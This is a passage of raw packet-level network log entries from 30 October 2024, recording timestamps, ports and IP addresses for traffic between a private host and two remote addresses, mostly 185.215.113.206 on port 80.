Oct 30, 2024 04:34:46.830670118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830687046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830688000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830688000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830698967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830712080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830714941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830723047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830734968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830738068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830749035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830818892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830938101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830996037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831008911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831008911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831027985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831039906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831052065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831053019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831065893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831074953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831079960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831088066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831099033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831103086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831110001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831125021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831135035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831304073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831334114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831356049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831367970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831377983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831382990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831406116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831471920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831520081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831532001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831542969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831554890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831567049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831568003 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831578016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831588984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831593037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831607103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831608057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831619978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831633091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831758976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831826925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831844091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831856012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831867933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831880093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831890106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831898928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831898928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831901073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831912994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831923962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831923962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831937075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831948042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831950903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831959963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831960917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831970930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.831973076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831984997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.831996918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832004070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832004070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832016945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832138062 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832300901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832313061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832321882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832334042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832345009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832355976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832357883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832369089 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832380056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832380056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832391977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832401037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832463980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832643032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832659960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832669973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832679987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832691908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832695961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832704067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832716942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832721949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832725048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832734108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832746029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832747936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832756042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832766056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832771063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832777977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832787991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832792997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832798958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832811117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832813025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832823038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.832825899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832860947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.832860947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833024025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833035946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833046913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833058119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833069086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833081007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833081007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833102942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833209038 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833270073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833281994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833301067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833312035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833328009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833338022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833340883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833372116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833378077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833378077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833383083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833395004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833405018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833415985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833427906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833439112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833444118 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833444118 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833465099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833543062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833554983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833565950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833570004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833585024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833592892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833599091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833609104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833615065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833621025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833630085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833633900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833642006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833651066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833676100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833679914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833679914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833700895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833765984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833779097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833789110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833796024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833801031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833812952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833825111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833827019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833834887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833847046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833851099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833858967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.833875895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833875895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833899021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.833985090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.845238924 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.845474005 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.845530033 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.845561028 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.845561028 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.845573902 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.845582008 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.848110914 CET	51103	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.848119974 CET	443	51103	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.848186970 CET	51103	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.848352909 CET	51103	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.848361015 CET	443	51103	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.911077976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.911117077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.911128044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.911137104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.911149979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.911175013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.911210060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.914292097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914303064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914314032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914328098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914338112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.914341927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914356947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.914396048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.914405107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.914638996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952474117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952500105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952514887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952526093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952564955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952577114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952588081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952601910 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952661991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952775002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952790022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952800035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952821970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952847958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952869892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952881098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952891111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952898979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952946901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952946901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.952969074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.952985048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953007936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953018904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953027964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953053951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953088999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953089952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953140974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953166962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953207970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953218937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953229904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953253984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953290939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953316927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953416109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953433990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953444004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953459024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953500032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953509092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953511953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953542948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953561068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953561068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953594923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953615904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953646898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953665018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953675985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953716993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953720093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953732967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953789949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953789949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953807116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953819990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953830004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953855991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953855991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953897953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953908920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953922033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953924894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953924894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953954935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.953979969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.953994989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954015970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954027891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954037905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954041004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954050064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954061985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954086065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954086065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954159975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954178095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954186916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954190969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954202890 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954202890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954231977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954231977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954315901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954327106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954338074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954345942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954345942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954384089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954384089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954440117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954449892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954459906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954472065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954483032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954493999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954504013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954505920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954514980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954519033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954530954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954545975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954582930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954582930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954783916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954794884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954804897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954817057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954828024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954828024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954838037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954849005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954859972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.954859972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954870939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954907894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.954907894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955022097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955034018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955044031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955054998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955066919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955075026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955075026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955080986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955092907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955096006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955116034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955219030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955296993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955307961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955332041 CET	80	50987	185.215.113.206	192.168.2.6
